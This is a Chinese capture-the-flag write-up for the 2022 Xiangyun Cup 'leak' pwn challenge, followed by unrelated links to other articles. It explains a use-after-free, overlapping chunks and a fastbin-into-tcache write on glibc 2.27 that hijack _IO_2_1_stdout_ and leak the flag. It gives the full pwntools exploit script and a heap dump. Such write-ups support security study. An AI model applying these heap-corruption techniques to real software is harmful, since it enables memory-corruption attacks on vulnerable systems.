[祥云杯 2022] pwn2 leak

news/2024/7/5 3:24:11

看了看雪的WP,第一次见这个东西,复现一下。

libc-2.27-3Ubuntu1.6-amd64

这个版本的libc禁用了3u1的直接double两次free的地址不能相同,并且_IO_2_1_stdout_头部也是清空的不能通过覆盖一个尾字节泄露地址,同时题目没有show。但是题目会把flag请入到堆中。

如是我闻:

1,通过建立重叠块利用unsort残留修改后指向_IO_2_1_stdout_将写入终地址(堆地址都是55XXX,写FF填充即中)

2,释放块填满tcache,再释放放入fastbin,当tcache用完后使用fastbin时,如果tcache有空位会把fastbin剩余放入,并把fastbin第1块指针位置处bk写入堆起始地址

题目很容易看,有add,edit,free其中free有UAF

void m3free()
{
  unsigned __int64 n; // [rsp+8h] [rbp-8h]

  write_s("Index: ");
  n = read_n();
  if ( n <= 0xF )
  {
    if ( qword_2143A0[n] )
      free((void *)qword_2143A0[n]);
  }
}

先布局个堆

    add(0, 0x30)
    add(1, 0x500)
    add(3, 0x30)
    add(4, 0x10)
    add(5, 0x10)
    add(11, 0x40)

先设置个重叠块2在0和1块的中间,可以覆盖到1的头部,通过修改1在大小反复释放得到相应的bin

    #make a overlap on 0.5 建一个块与1重叠,以后通过它修改1的头和fd
    edit(1, flat(0,0,0,0x4f1,0,0x4e1))
    edit(0, flat(0,0,0,0x41))
    free(0)
    free(3)
    edit(3, p8(0xc0))
    add(12, 0x30)
    add(2, 0x30)  # 2= 0.5  overlap chunk1.head

bins的准备:

1,先放一个50的块到tcache,将来这个位置释放成unsort后,指针指向main_arena修改到_IO_2_1_stdout_ 用这个tcache块建块到_stdout_

    #将0x50放入tcache
    edit(2, flat(0,0,0,0x51))
    free(1)       # 1 size 0x50 tcache

2,释放0x20的块填满tcache然后释放一块到fastbin

    #先将0x20的tcache填满,再释放1个到fastbin
    edit(2, flat(0,0,0,0x21,0,0))  #fill tcache
    for i in [4,5,4,5,4,5,4]:
        free(i)
        edit(i, p64(0))
    free(1)   #fastbin

修改回510头,释放到到fd->main_arena

    #改为500释放得到main_arena指针
    edit(2, flat(0,0,0,0x511))
    free(1)       #unsort fd->main_arena

利用第1步准备的50块,在stdout_写入止地址(半字节爆破)

    #gdb.attach(p)
    #pause()
    #lh = int(input('lh'), 16)
    #将块改为50,修改fd后两字节(爆破半字节)将原指向main_arena的指针指向_IO_2_1_stdout_ x760
    lh = 0xc
    edit(2, flat(0,0,0,0x51)+p8(0x60)+p8(lh*16+7))
    add(13, 0x40)
    add(14, 0x40)  # _IO_2_1_stdout_
    edit(14, flat(0xfbad1800,0,0,0,0,0x5fffffffffff))   #写入输出止地址

修改指向_stdout+8 (以此为起点bk写入的位置是_IO_2_1_stdout_+0x20)建块用把tcache再建,会在指针指向处的bk位置写入堆地址。

    # fastbin reverse into tcache  2.27-3u1.6 利用bk指针写入到_IO_2_1_stdout_
    #将_IO_2_1_stdout_ 改为 +8,建第1个块用掉tcache,建第2个块使用fastbin,剩余部分会放入tcache,fastbin->next指针处写入heap地址
    #0x60   0 0,0x21,0,(heap)
    edit(2, flat(0,0,0,0x21)+ p8(0x68)+p8(lh*16+7))
    add(15, 0x10)
    add(6, 0x10)

最后选菜单6退出,执行exit(0)会输出*(stdout_ + 0x20)到*(+0x28)两个地址间的数据(由于止址写入的是fff所以会非常多,只需要0x250后的一小块)

    p.sendlineafter(b"Your choice: ", b'6')
    p.recv(0x250)
    print(p.recv(0x100))
    p.interactive()

完整的WP和当时的堆状态

from pwn import *

elf = ELF('./leak')
libc_elf = ELF('/home/kali/glibc/2.27-3u1.6-amd64/libc-2.27.so')
context(arch='amd64', log_level='debug')

def add(idx, size):
    p.sendlineafter(b"Your choice: ", b'1')
    p.sendlineafter(b"Index: ", str(idx).encode())
    p.sendlineafter(b"Size: ", str(size).encode())

def edit(idx, msg):
    p.sendlineafter(b"Your choice: ", b'2')
    p.sendlineafter(b"Index: ", str(idx).encode())
    p.sendafter(b"Content: ", msg)

def free(idx):
    p.sendlineafter(b"Your choice: ", b'3')
    p.sendlineafter(b"Index: ", str(idx).encode())

def pwn():
    global p
    
    p = process('./leak')
    
    #lh = int(input('lh:'), 16)

    add(0, 0x30)
    add(1, 0x500)
    add(3, 0x30)
    add(4, 0x10)
    add(5, 0x10)
    add(11, 0x40)

    #make a overlap on 0.5 建一个块与1重叠,以后通过它修改1的头和fd
    edit(1, flat(0,0,0,0x4f1,0,0x4e1))
    edit(0, flat(0,0,0,0x41))
    free(0)
    free(3)
    edit(3, p8(0xc0))
    add(12, 0x30)
    add(2, 0x30)  # 2= 0.5  overlap chunk1.head
    
    #将0x50放入tcache
    edit(2, flat(0,0,0,0x51))
    free(1)       # 1 size 0x50 tcache

    #先将0x20的tcache填满,再释放1个到fastbin
    edit(2, flat(0,0,0,0x21,0,0))  #fill tcache
    for i in [4,5,4,5,4,5,4]:
        free(i)
        edit(i, p64(0))
    free(1)   #fastbin
    
    #改为500释放得到main_arena指针
    edit(2, flat(0,0,0,0x511))
    free(1)       #unsort fd->main_arena

    #gdb.attach(p)
    #pause()
    #lh = int(input('lh'), 16)
    #将块改为50,修改fd后两字节(爆破半字节)将原指向main_arena的指针指向_IO_2_1_stdout_ x760
    lh = 0xc
    edit(2, flat(0,0,0,0x51)+p8(0x60)+p8(lh*16+7))
    add(13, 0x40)
    add(14, 0x40)  # _IO_2_1_stdout_
    edit(14, flat(0xfbad1800,0,0,0,0,0x5fffffffffff))   #写入输出止地址
    
    # fastbin reverse into tcache  2.27-3u1.6 利用bk指针写入到_IO_2_1_stdout_
    #将_IO_2_1_stdout_ 改为 +8,建第1个块用掉tcache,建第2个块使用fastbin,剩余部分会放入tcache,fastbin->next指针处写入heap地址
    #0x60   0 0,0x21,0,(heap)
    edit(2, flat(0,0,0,0x21)+ p8(0x68)+p8(lh*16+7))
    add(15, 0x10)
    add(6, 0x10)
        
    p.sendlineafter(b"Your choice: ", b'6')
    p.recv(0x250)
    print(p.recv(0x100))
    p.interactive()
    
while True:
    try:
        pwn()
    except:
        pass
    break    

'''
gef➤  heap bins
─────────────────────────────────────── Tcachebins for arena 0x7fa6fa1ebc40 ───────────────────────────────────────
Tcachebins[idx=0, size=0x20] count=7  ←  Chunk(addr=0x7fa6fa1ec778, size=0x0, flags=) 
Tcachebins[idx=3, size=0x50] count=255  ←  [Corrupted chunk at 0xfbad2084]
──────────────────────────────────────── Fastbins for arena 0x7fa6fa1ebc40 ────────────────────────────────────────
Fastbins[idx=0, size=0x20] 0x00
Fastbins[idx=1, size=0x30] 0x00
Fastbins[idx=2, size=0x40] 0x00
Fastbins[idx=3, size=0x50] 0x00
Fastbins[idx=4, size=0x60] 0x00
Fastbins[idx=5, size=0x70] 0x00
Fastbins[idx=6, size=0x80] 0x00
──────────────────────────────────── Unsorted Bin for arena '*0x7fa6fa1ebc40' ────────────────────────────────────
[+] unsorted_bins[0]: fw=0x558c5ff012d0, bk=0x558c5ff012d0
 →   Chunk(addr=0x558c5ff012e0, size=0x20, flags=PREV_INUSE)
[+] Found 1 chunks in unsorted bin.
───────────────────────────────────── Small Bins for arena '*0x7fa6fa1ebc40' ─────────────────────────────────────
[+] Found 0 chunks in 0 small non-empty bins.
───────────────────────────────────── Large Bins for arena '*0x7fa6fa1ebc40' ─────────────────────────────────────
[+] Found 0 chunks in 0 large non-empty bins.
gef➤  x/8gx &_IO_2_1_stdout_
0x7fa6fa1ec760 <_IO_2_1_stdout_>:       0x00000000fbad1800      0x0000000000000000
0x7fa6fa1ec770 <_IO_2_1_stdout_+16>:    0x0000000000000000      0x0000000000000000
0x7fa6fa1ec780 <_IO_2_1_stdout_+32>:    0x0000558c5ff01010      0x00005fffffffffff
0x7fa6fa1ec790 <_IO_2_1_stdout_+48>:    0x0000000000000000      0x0000000000000000
gef➤  heap chunks
Chunk(addr=0x558c5ff01010, size=0x250, flags=PREV_INUSE)
    [0x0000558c5ff01010     07 00 00 ff 00 00 00 00 00 00 00 00 00 00 00 00    ................]
Chunk(addr=0x558c5ff01260, size=0x40, flags=PREV_INUSE)
    [0x0000558c5ff01260     66 6c 61 67 7b 54 65 73 74 2e 2e 2e 2e 2e 2e 2e    flag{Test.......]
Chunk(addr=0x558c5ff012a0, size=0x40, flags=PREV_INUSE)
    [0x0000558c5ff012a0     00 00 00 00 00 00 00 00 10 10 f0 5f 8c 55 00 00    ..........._.U..]
Chunk(addr=0x558c5ff012e0, size=0x20, flags=PREV_INUSE)
    [0x0000558c5ff012e0     68 c7 1e fa a6 7f 00 00 00 00 00 00 00 00 00 00    h...............]
'''


http://lihuaxi.xjx100.cn/news/125959.html

相关文章

Python Web开发-django搭建环境

这段时间 不太忙&#xff0c;想着整理一下python开发相关的内容&#xff0c;so 就现在&#xff0c;说整就整&#xff0c;白羊座行动派&#xff01; Django简介 Django&#xff0c;发音为[dʒŋɡəʊ]&#xff0c;是用python语言写的开源web开发框架&#xff0c;并遵循MVC设计…

机器学习从零到入门 逻辑回归详解

逻辑回归详解 从零开始 从理论到实践一、逻辑回归的理解1.1、字面含义1.2、引申1.2.1、阶跃函数的引入1.2.2、可导的阶跃函数 - Logistic函数1.2.3、Logistic回归1.2.4、回归系数的求解 - 极大似然估计二、sklearn的使用参考一、逻辑回归的理解 前面介绍了线性回归及其衍生回归…

MyBatis 动态SQL技术

Mybatis框架的动态SQL技术是一种根据特定条件动态拼装SQL语句的功能。 sql 标签 <sql id"empColumns"> eid,ename,age,sex,did </sql> select <include refid"empColumns"></include> from t_emp可以记录一段公共sql片段&#x…

动手学深度学习(pytorch)2

动手学深度学习&#xff08;pytorch&#xff09;2概率库函数查阅线性神经网络线性回归概率 先抽样 import torch from torch.distributions import multinomial from d2l import torch as d2l fair_probs torch.ones([6]) / 6 tmultinomial.Multinomial(10, fair_probs).sam…

人工智能Linux基础命令

操作系统 定义&#xff1a;直接运行在计算机上的系统软件&#xff0c;它是与硬件打交道和控制软件运行的计算机程序。 主要作用&#xff1a;向下控制硬件&#xff0c;向上支持软件的运行 一切皆文件&#xff0c;只有根目录/ Linux内核是操作系统内部操作和控制硬件设备的核心…

【linux】线程条件变量 信号量

1.条件变量 条件变量本身不是锁&#xff01;但它也可以造成线程阻塞 通常与互斥锁配合使用。给多线程提供一个会合的场所。 1.主要函数应用 pthread_cond_init函数 pthread_cond_destroy函数 pthread_cond_wait函数 pthread_cond_timedwait函数 pthread_cond_signal函数 pthrea…

01.高等数学基础

高等数学基础1.数列2. 极限2.1 符号表示2.2 极限充要条件2.3 极限中的无穷小2.4 极限中的无穷大2.5 无穷小的比较3.函数的连续性3.1 函数连续性定义3.2 函数连续性满足的条件3.3 函数的间断点3.4 函数间断点分类4.导数4.1 导数定义4.2 常用的导数4.3导数基本运算5.偏导数5.1 偏…

处理多维特征的输入

一、多维特征输入 多维数据的输入可以看成矩阵进行运算&#xff0c;如下有8维的数据&#xff08;N*8&#xff09;&#xff0c;进变换后形成1维的数据&#xff08;N*1&#xff09; 二、糖尿病数据集为例 数据说明 pregnancies&#xff1a; 怀孕次数 glucose&#xff1a;口服葡…